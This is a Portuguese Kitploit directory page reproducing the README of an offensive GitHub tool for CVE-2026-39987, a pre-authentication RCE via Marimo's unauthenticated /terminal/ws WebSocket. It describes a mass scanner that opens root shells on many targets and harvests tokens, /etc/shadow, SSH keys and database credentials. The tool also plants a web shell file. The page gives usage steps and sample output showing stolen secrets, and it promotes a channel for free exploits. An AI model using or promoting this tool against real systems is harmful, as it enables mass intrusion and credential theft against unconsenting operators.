Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-39987 — marimo é um notebook Python reativo. Antes da versão 0.23.0, o Marimo apresenta uma vulnerabilidade de RCE pré-autenticação. | Kitploit
Ferramentas/GitHubGitHub/nxploited/cve-2026-39987
Escalada de PrivilégiosExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimo é um notebook Python reativo. Antes da versão 0.23.0, o Marimo apresenta uma vulnerabilidade de RCE pré-autenticação.

Ver Repositório
113há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-39987

marimo é um notebook Python reativo. Antes da versão 0.23.0, o Marimo possui uma vulnerabilidade de RCE pré-autenticação

   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — RCE pré-autenticação via WebSocket não autenticado

Scanner em Massa · Enumeração Completa · Detecção Inteligente


Python CVE Severity Type Platform License


Autor: Nxploited  ·  Telegram: @KNxploited


📢 Junte-se ao canal do Telegram para os últimos zero-days e exploits gratuitos:

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 Visão Geral

CVE-2026-39987 é uma vulnerabilidade crítica de Execução Remota de Código sem autenticação prévia que afeta o Marimo, uma plataforma open-source de notebooks Python reativos.

O endpoint WebSocket de terminal /terminal/ws não possui nenhuma validação de autenticação, permitindo que qualquer atacante remoto não autenticado obtenha um shell PTY completo e execute comandos arbitrários do sistema com os privilégios do processo em execução — frequentemente root em implantações containerizadas.

Diferente de outros endpoints WebSocket, como /ws, que invocam corretamente o validate_auth() antes de aceitar conexões, o endpoint /terminal/ws apenas verifica o modo de execução e a compatibilidade da plataforma, ignorando completamente a autenticação.

✅ Corrigido em: marimo >= 0.23.0 ❌ Todas as versões anteriores à 0.23.0 são vulneráveis


🔍 Detalhes da Vulnerabilidade

PropriedadeValor
CVE IDCVE-2026-39987
Software Afetadomarimo < 0.23.0
Classe da VulnerabilidadeRCE pré-autenticação via WebSocket não autenticado
Endpoint Afetado/terminal/ws
Vetor de AtaqueRede
Autenticação Necessária❌ Nenhuma
Interação do Usuário❌ Nenhuma
Gravidade🔴 Crítica
ImpactoShell PTY completo · Execução arbitrária de comandos
Versão Corrigidamarimo 0.23.0

🧩 Causa Raiz

/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

O manipulador /terminal/ws apenas verifica:

  1. Se o servidor está rodando no modo correto
  2. Se a plataforma suporta emulação de terminal

Ele nunca valida tokens de sessão, cookies ou qualquer forma de identidade — tornando cada instância exposta do Marimo um shell direto.


✨ Recursos

  • 🔥 Scanner em Massa — Escaneia milhares de alvos concorrentemente com pools de threads configuráveis
  • 🧠 Detecção Inteligente de Ambiente — Detecta automaticamente: Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · aplicativos Python
  • 🐚 Acesso Total ao Shell PTY — Shell WebSocket não autenticado com emulação completa de terminal
  • 📓 Enumeração de Notebooks — Descobre e lê recursivamente todos os notebooks .py do Marimo
  • 🔑 Coleta de Tokens — Extrai tokens do Marimo de argumentos de CLI, variáveis ENV e arquivos de log
  • 🗄️ Descoberta de Bancos de Dados — Testa automaticamente MySQL · PostgreSQL · Redis · SQLite · DuckDB
  • 🔐 Extração de Credenciais — Arquivos .env · wp-config.php · chaves privadas SSH · /etc/shadow
  • 📂 Verificação de Web Shell (Nx Drop) — Grava e verifica via HTTP um arquivo de prova de conceito no webroot
  • 📊 Saída Estruturada por Alvo — Cada alvo recebe seu próprio diretório de saída organizado
  • 🎨 Interface de Terminal Rica — Interface profissional com código de cores, painéis, acompanhamento de progresso e estatísticas ao vivo

⚙️ Requisitos

Python 3.10 or higher

Instale as dependências:

pip install websockets rich requests urllib3

Ou usando o arquivo de requirements:

pip install -r requirements.txt

requirements.txt

websockets
rich
requests
urllib3

🚀 Uso

Passo 1 — Prepare seu arquivo de alvos

Crie um arquivo chamado targets.txt com um alvo por linha. A ferramenta aceita todos os formatos:

192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

Formatos suportados: IP puro · IP:porta · domínio · domínio:porta · http:// · https:// · ws:// · wss://


Passo 2 — Execute o scanner

python3 CVE-2026-39987.py

Passo 3 — Configuração interativa

  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

Faixa de threads: 1–300. Recomendado: 50–150 dependendo da sua rede.


🖥️ Prévia da Saída

Interface do Terminal

  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

Progresso ao Vivo

Baixar ferramenta